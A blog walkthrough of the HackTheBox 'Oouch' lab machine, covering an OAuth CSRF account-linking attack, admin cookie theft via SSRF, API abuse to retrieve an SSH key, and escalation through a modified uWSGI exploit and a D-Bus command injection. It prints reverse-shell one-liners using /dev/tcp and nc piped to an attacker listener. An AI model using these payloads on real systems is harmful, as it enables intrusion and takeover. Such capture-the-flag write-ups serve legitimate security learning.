Press "Enter" to skip to content

HackTheBox – Oouch Walkthrough

HackTheBox Oouch Walkthrough

Oouch is a Hard Box Linux Box from HackTheBox which basically comprises of Exploiting OAuth without any CSRF Token Validation then stealing Cookie via CSRF (Cross-Side Request Forgery) where URL is fetched in contact admin module. While Root required exploitation of UWSGI DBus on the target.

Let’s Start with this Insane Box right away.


Scanning it with Nmap to list open ports and services.

root@rootsploit# nmap -Pn -n -sV -sC -vv
Nmap scan report for
Host is up, received user-set (0.24s latency).
Scanned at 2020-08-02 02:08:52 EDT for 28s

21/tcp   open  ftp     syn-ack vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      Session bandwidth limit in byte/s is 30000
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:6b:a7:2b:7a:21:9f:21:11:37:11:ed:50:4f:c6:1e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxVFDvWMZRJQ6DlQkjKUsp3Mz6vSQ64sDpR/hQogkUWR/lauECt86N34eRQmABl8IHGROUaH8EoNNy5ByJQk8TrHy+lD1TCKUlNyD8Cw5i4/JtSMHYasq/3mOdkciBCyNf7vVvEtadG1EsFvTfD2mOTNGt8rj61tp8VBvDIbSq1a4+SCkjBo2c3FW4sPkI1byfypASLlwwVXv/zZ58Ff5C47MZrA2fW9TdhBlkXleqv/6jeuYEpmEQRoiTxmdfpyVkr1/wBFs25jELQLv5DTyJyIrqT0WqHlyo5eBuax1ZEuNTxCVs2P48YxYIn5F8gfHPgSN7LzLclfAyghwe0oJp
|   256 d2:af:55:5c:06:0b:60:db:9c:78:47:b5:ca:f4:f1:04 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIChK8SPfCVZj8VEE4jX8jzGbd5wB2nrxtLQkze3vxFxQ
5000/tcp open  http    syn-ack nginx 1.14.2
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD
|_http-server-header: nginx/1.14.2
| http-title: Welcome to Oouch
|_Requested resource was
8000/tcp open  rtsp    syn-ack
| fingerprint-strings: 
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   RTSPRequest: 
|     RTSP/1.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|     <h1>Bad Request (400)</h1>
|   SIPOptions: 
|     SIP/2.0 400 Bad Request
|     Content-Type: text/html
|     Vary: Authorization
|_    <h1>Bad Request (400)</h1>
|_http-title: Site doesn't have a title (text/html).

Now we find VSFTP allows anonymous login and can find project.txt file.

root@rootsploit# ftp
Connected to
220 qtc's development server
Name ( anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            49 Feb 11 19:34 project.txt
226 Directory send OK.
ftp> get project.txt
local: project.txt remote: project.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for project.txt (49 bytes).
226 Transfer complete.
49 bytes received in 0.01 secs (8.7785 kB/s)
ftp> exit
221 Goodbye.
root@rootsploit# cat project.txt
Flask -> Consumer
Django -> Authorization Server

Here we get to know that qtc is a username on the box and there are two server Flask and Django. Let’s have a look on ports 5000,8000.

Signin page
Bad Request

Lets Signup to the application and further enumerate the application with Dirb and Brute Force User credentials.

oAuth Endpoint
Directory found with Dirb

Now we have two domains on the target IP i.e http://consumer.oouch.htb:5000 which redirects us to http://authorization.oouch.htb:8000/login/ so we need to make a host entry for both domains in our host file on linux machine (/etc/hosts)

Linux Host Configuration File

Now we can open the authorization page as well.

Authorize Module

Initial Foothold:

Exploring the application and we get to know that there are some documents on consumer application which can be accessed by only admins. Let’s Intercept the traffic in burp to understand working of oAuth in this application. After analyzing few requests for authorize we get a final request with code parameter which will authorize Consumer User.

Authorize Request
Authorize Request
Burp Req
Note the Code Parameter in Request

If you know about oAuth this code parameter is randomly generated and it expires after one use so we can drop this request and can use it later. if this request was executed as an Admin then we would get our account linked to admin’s account so the question is how can admin execute this request without social engineering? Lets fuzz the Send message module in consumer application for any SSRF vulnerability.

SSRF Check via netcat
Listening for connections from server

After multiple attempts of SSRF we get no response from server. But what if server accepts request only from some whitelisted IPs/URLs this is a common deployment practice where developers allow requests from subdomains only (* we can try sending out authorization request via contact module as the parameter is sent via GET method.

Send Message and perform CSRF

Now if this works we can directly try accessing login module rather than authorize module.

Key Points:

  • Make sure you copy /oauth/login manually and not open it cause it refers back to connect page
  • If /oauth page does not work with consumer.oouch.htb try with
  • If application returns Internal Error Refresh multiple times
  • SSRF found is a realistic way to simulate Admin Opening links when message is sent
Consumer Login
User Connected to QTC User via oAuth CSRF

Now we have connected our user new to qtc which is admin user and we can also see the documents present on the application.

Credentials found
Documents Accessible

Now we can access to the credential and some API request with which we should be able to get SSH key of user. If you have not connected your account there is a rabbit hole as the login link has reference to connect link make sure you copy this url http://consumer.oouch.htb:5000/oauth/login after performing CSRF to login as qtc account.

Further enumeration we found another login page in oauth/applications/register

Let try same credentials we found in documents

Using credentials we found
Login Page
oAuth Consumer Application Registration
oAuth Consumer Application Register Page in http://authorization.oouch.htb:8000

Looking at Redirect URIs we can guess it can be vulnerable to some CSRF in similar ways.

Created New oAuth Application
Creating oAuth Consumer Application with redirect to our server

After going through the documentation for oAuth we can fetch application details via GET method with the above parameters and if Admin can fetch similar details via GET method we can Steal Admin qtc’s Cookie via SSRF.


Now we can try SSRF on same module so admin can execute this command and we can fetch cookie.

Stealing Admin Cookie

Now using a cookie editor plugin we can add this cookie value and login as qtc user.

But we also need auth token which can be collected with this request as per the oAuth Documentation make sure you have change grant_type to client_credentials by editing the created application if not create another application with client_credentials grant type

New oAuth Consumer Application

Now we can fetch auth token by using curl command mentioned below:

root@rootsploit# curl -X POST 'http://authorization.oouch.htb:8000/oauth/token/' -H "Content-Type: application/x-www-form-urlencoded" --data "grant_type=client_credentials&client_id=kAlU7y2NbfR4HIiFHwtYje34duAt3GKabHUqeAxF&client_secret=KnHW7d94ShvSCLThGCE29clENyjmJYcWUj5GsVLCA917gJUn7AnUvWj2pnp1Kgid2HHyr9oyarkhbYyzygeEpEQaGijfnV9a3rfYnWoX2NOgQ1yMqVoGPjem8fZhp14T" -L -s


{"access_token": "8dAzaq7nf4LHGH6YDCGNUl5sxXInD6", "expires_in": 600, "token_type": "Bearer", "scope": "read write"}

Now moving to our final step that is to fetch the user ssh keys as per the hint in the documents in qtc user portal. This would need fuzzing all the parameters in /api

Fetch User Details
Fetch User Details with token
Fetch User SSH Key
Fetch SSH Keys with the API

Now lets remove all the /n and format the ssh key and ensure the key has proper permissions by running chmod 600 qtc_key

Got qtc User on HTB Oouch
Got user.txt

After all the hard work and multiple SSRF Exploitation we finally got access to qtc user lets try to escalate to root user.

Lateral Movement : qtc to docker

We observe a note placed by root user in home directory

qtc@oouch:~$ ls -lah
total 36K
drwxr-xr-x 4 qtc  qtc  4.0K Feb 25 12:45 .
drwxr-xr-x 3 root root 4.0K Feb 11 18:11 ..
lrwxrwxrwx 1 root root    9 Feb 11 18:34 .bash_history -> /dev/null
-rw-r--r-- 1 qtc  qtc   220 Feb 11 18:11 .bash_logout
-rw-r--r-- 1 qtc  qtc  3.5K Feb 11 18:11 .bashrc
drwx------ 3 qtc  qtc  4.0K Feb 25 12:45 .gnupg
-rw-r--r-- 1 root root   55 Feb 11 18:34 .note.txt
-rw-r--r-- 1 qtc  qtc   807 Feb 11 18:11 .profile
drwx------ 2 qtc  qtc  4.0K Feb 11 18:34 .ssh
-rw------- 1 qtc  qtc    33 Aug  2 15:07 user.txt
qtc@oouch:~$ cat .note.txt 
Implementing an IPS using DBus and iptables == Genius?

After enumerating the qtc user with various privesc tools below are the following observations:

  • SSH Keys were found in QTC Home directory
  • Separate docker servers were running for consumer and authorization applications
  • Docker IP can be found via ip addr
  • DBus is running

SSH Keys id_rsa in /home/qtc/.ssh/

qtc@oouch:~$ ls -lahrt .ssh/
total 16K
-rwx------ 1 qtc qtc  568 Feb 11 18:34 authorized_keys
-r-------- 1 qtc qtc 2.6K Feb 11 18:34 id_rsa
drwx------ 2 qtc qtc 4.0K Feb 11 18:34 .
drwxr-xr-x 4 qtc qtc 4.0K Feb 25 12:45 ..

IP Address for docker

qtc@oouch:~$ ip addr 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:50:56:b9:41:db brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens34
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:41db/64 scope global dynamic mngtmpaddr 
       valid_lft 86262sec preferred_lft 14262sec
    inet6 fe80::250:56ff:feb9:41db/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:a4:a2:7f:26 brd ff:ff:ff:ff:ff:ff
    inet brd scope global docker0
       valid_lft forever preferred_lft forever

Now we can find docker IP via ps aux command

qtc@oouch:~$ ps aux | grep docker
root      3116  0.0  2.4 1341276 99844 ?       Ssl  15:04   0:05 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root      3588  0.0  0.2 550128  9672 ?        Sl   15:04   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 5000 -container-ip -container-port 5000
root      3596  0.0  0.2 107696 10320 ?        Sl   15:04   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/8ed9885c51d3734b7d6de334bec97efc1bced22d27d9ad4b3d56ec72863f823d -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3629  0.0  0.1 548976  7588 ?        Sl   15:04   0:00 /usr/bin/docker-proxy -proto tcp -host-ip -host-port 8000 -container-ip -container-port 8000
root      3660  0.0  0.2 109104 10168 ?        Sl   15:04   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/aeb4525789d86f2cda1dd10ae3bd96dba317e4f0784fdba2a86943f0486a4c3b -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3669  0.0  0.2 109104  9736 ?        Sl   15:04   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/810b5ad681b2330b4a32b52a6ec8b07d8cca2eb562b7927958f115c1cbe99e83 -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      3672  0.0  0.2 109104 10232 ?        Sl   15:04   0:00 containerd-shim -namespace moby -workdir /var/lib/containerd/io.containerd.runtime.v1.linux/moby/5e54e5cd9648b19ee47610181886cb3557f63fb545ce0937475e471b4250722c -address /run/containerd/containerd.sock -containerd-binary /usr/bin/containerd -runtime-root /var/run/docker/runtime-runc
root      4032  0.1  1.0 423992 40552 ?        Ssl  15:04   0:09 /usr/bin/python3 /usr/local/bin/docker-compose up
qtc       5384  0.0  0.0   6208   884 pts/0    S+   17:22   0:00 grep docker

From the above results we can find Consumer app (port 5000) is running on IP while Authorization app (port 8000) is running on IP Now lets try ssh into above docker containers with the ssh key found.

Pwned Docker user
Authorization Docker Container

When I tried SSH login on Consumer Docker it didn’t work which means SSH service might not be running on that docker.

qtc@aeb4525789d8:/code$ ls -lahrt
total 52K
-rw-r--r-- 1 root root  163 Feb 11 17:34 uwsgi.ini
-rwxr-xr-x 1 root root   89 Feb 11 17:34
-rw-r--r-- 1 root root  241 Feb 11 17:34 requirements.txt
-rw-r--r-- 1 root root  724 Feb 11 17:34 nginx.conf
drwxr-xr-x 4 root root 4.0K Feb 11 17:34 migrations
-r-------- 1 root root 2.6K Feb 11 17:34 key
-rw-r--r-- 1 root root   23 Feb 11 17:34
-rw-r--r-- 1 root root  325 Feb 11 17:34
-r-------- 1 root root  568 Feb 11 17:34 authorized_keys
-rw-r--r-- 1 root root 1.1K Feb 11 17:34 Dockerfile
drwxr-xr-x 4 root root 4.0K Feb 11 17:34 .
drwxr-xr-x 5 root root 4.0K Feb 11 17:34 oouch
drwxr-xr-x 1 root root 4.0K Feb 25 12:33 ..
-rw-rw-rw- 1 root root    0 Aug  2 15:32 urls.txt
qtc@aeb4525789d8:/code$ uwsgi --version

We can easily find an exploit for uwsgi now transfer this exploit to docker container via scp command. Let’s try running it and create a test file to ensure exploit works.

Exploit Failed
Exploit Failed cause of Import Bytes

As we can see the exploit fails due to lack of python module lets try removing Import Bytes part of the code.

if sys.version_info[0] == 3: import bytes
s = bytes.fromhex(s) if sys.version_info[0] == 3 else s.decode('hex')

Replace it with ensure indentation is proper

s = bytes.fromhex(s)
Modifying Exploit to escape the Bytes module

Now our code is working just fine.

python -m unix -u /tmp/uwsgi.socket -c 'bash -c "/bin/bash -i >& /dev/tcp/ 0>&1"'
Got www-data Shell via netcat
www-data shell on docker

Privilege Escalation : www-data to root

We have already encountered that DBus is running in docker as root user now we can use DBus to gain root access. After spending numerous hours on DBus Privilege Escalation blogs I came across the following command to evaluate the privileges.

dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block  htb.oouch.Block.Block "string:;rm /tmp/.0; mkfifo /tmp/.0; cat /tmp/.0 | /bin/bash -i 2>&1 | nc 5555 >/tmp/.0;"

And after setting a Listener on other terminal we get Root Access to this Insane Box.

Rooted Oouch Machine
Oouch Pwned by RootSploit

This box was Insane not just hard as it required lots of research on oAuth, UWSGI, DBus comparatively it didn’t involve any buffer overflow exploits but escalating through multiple users was tedious.


  • CSRF can be exploited in oAuth to escalate privileges
  • Stealing Admin Cookie via CSRF was most insane foothold thanks to hackthebox forum for nudge
  • Lateral Movement: qtc -> docker qtc > www-data > root
  • Modifying UWSGI Exploit by escaping the condition bytes module
  • DBus exploit needed lot of learning

Thanks for sticking around for this insane Walk-through as this was hardest box ti was definitely worth all the learning. Follow @Rootsploit for more awesome blogs.


Be First to Comment

Leave a Reply

Your email address will not be published. Required fields are marked *